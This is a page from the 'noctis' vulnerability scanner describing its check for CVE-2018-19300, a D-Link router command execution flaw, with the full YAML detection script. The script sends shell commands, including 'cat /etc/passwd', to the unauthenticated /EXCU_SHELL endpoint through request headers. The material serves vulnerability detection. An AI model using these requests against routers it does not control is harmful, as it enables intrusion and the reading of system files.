D-Link DWR — 1 vulnerability check

noctis ships 1 vulnerability check for D-Link DWR, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

D-Link DWR / DAP routers EXCU_SHELL command execution

CVECVE-2018-19300
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/dlink-dwr/CVE-2018-19300.yaml

Sends a command to the unauthenticated /EXCU_SHELL endpoint (cmdnum/command1/confirm1 request headers) that prints NOCTIS followed by the sum of two random numbers computed by the router shell; finding that exact sum, never sent in the request, in the reply confirms command execution (QoD 97). When the shell form gives no proof, it runs `cat /etc/passwd` and a control `cat` of a random absent /etc/passwd.<random> file and reports at QoD 75 only when the passwd root entry comes back for the real file and not for the absent one, so a server that serves passwd content everywhere does not match.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /EXCU_SHELL
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.body for NOCTIS[0-9]{7} → finding QoD 97: GET /EXCU_SHELL with command1: echo NOCTIS$((…+…)) returned the shell-computed marker … at …:…
  5. HTTP(S) request GET /EXCU_SHELL
  6. HTTP(S) request GET /EXCU_SHELL
  7. Parses / computes the next value with a Rhai script
  8. Checks passwd_resp.body for root:[^:\r\n]*:0:0: → finding QoD 75: GET /EXCU_SHELL with command1: cat /etc/passwd returned the passwd root entry, and the control command1: cat /etc/passwd.… did not, at …:…

References:

Feed source — tests/vulnerabilities/dlink-dwr/CVE-2018-19300.yaml
uid: 5b3f4c5b-e22b-4c5c-b509-29fec5009d6c
name: "CVE-2018-19300 — D-Link DWR / DAP routers EXCU_SHELL command execution (CVSS 9.8)"
description: |
  Sends a command to the unauthenticated /EXCU_SHELL endpoint (cmdnum/command1/confirm1
  request headers) that prints NOCTIS followed by the sum of two random numbers
  computed by the router shell; finding that exact sum, never sent in the request,
  in the reply confirms command execution (QoD 97). When the shell form gives no
  proof, it runs `cat /etc/passwd` and a control `cat` of a random absent /etc/passwd.<random> file and
  reports at QoD 75 only when the passwd root entry comes back for the real file
  and not for the absent one, so a server that serves passwd content everywhere
  does not match.
cves: [CVE-2018-19300]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [dlink, router, rce, command-injection]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-19300"
  - "OpenVAS NASL 2018/dlink/gb_dlink_dwr_rce_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2018/dlink/gb_dlink_dwr_rce_vuln.nasl (GPL-2.0-only, Greenbone Community Feed).
# /EXCU_SHELL runs OS commands supplied via request headers.
steps:
  # 1) Computed proof: only the shell-computed sum proves execution; a reply
  #    that echoes the headers, or serves passwd for every request, cannot
  #    contain it.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), absent: "noctis" + rand_hex(6) }

  - id: init
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: GET
    path: "/EXCU_SHELL"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      cmdnum: "1"
      command1: "echo NOCTIS$(({{p.a}}+{{p.b}}))"
      confirm1: "n"
    store_as: resp

  - id: check
    action: script
    store_as: hit
    code: |
      resp.status == 200 && type_of(resp.body) == "string" && stridx(resp.body, p.marker) >= 0

  - id: detect
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "GET /EXCU_SHELL with command1: echo NOCTIS$(({{p.a}}+{{p.b}})) returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

  # 2) Fallback for a command runner without arithmetic expansion: read
  #    /etc/passwd, and a random absent /etc/passwd.<rand> as control (the
#    word "passwd" in both, so a keyword-triggered honeypot answers both). Only a passwd root
  #    entry for the real file and none for the absent one counts.
  - id: init-fallback
    action: set_var
    var_name: passwd_resp
    var_value: {status: 0, body: ""}

  - id: init-control
    action: set_var
    var_name: ctrl_resp
    var_value: {status: 0, body: ""}

  - id: passwd-probe
    action: http_request
    method: GET
    path: "/EXCU_SHELL"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "resp.status == 200"
    headers:
      cmdnum: "1"
      command1: "cat /etc/passwd"
      confirm1: "n"
    store_as: passwd_resp

  - id: control-probe
    action: http_request
    method: GET
    path: "/EXCU_SHELL"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "passwd_resp.status == 200"
    headers:
      cmdnum: "1"
      command1: "cat /etc/passwd.{{p.absent}}"
      confirm1: "n"
    store_as: ctrl_resp

  - id: verdict
    action: script
    store_as: passwd_hit
    code: |
      passwd_resp.status == 200 && ctrl_resp.status == 200
        && type_of(passwd_resp.body) == "string" && type_of(ctrl_resp.body) == "string"
        && ereg("root:[^:\r\n]*:0:0:", passwd_resp.body)
        && !ereg("root:[^:\r\n]*:0:0:", ctrl_resp.body)

  - id: detect-passwd
    action: match
    source: passwd_resp.body
    pattern: "root:[^:\\r\\n]*:0:0:"
    condition: "passwd_hit == true"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "GET /EXCU_SHELL with command1: cat /etc/passwd returned the passwd root entry, and the control command1: cat /etc/passwd.{{p.absent}} did not, at {{target_host}}:{{port}}"

View these feeds on GitHub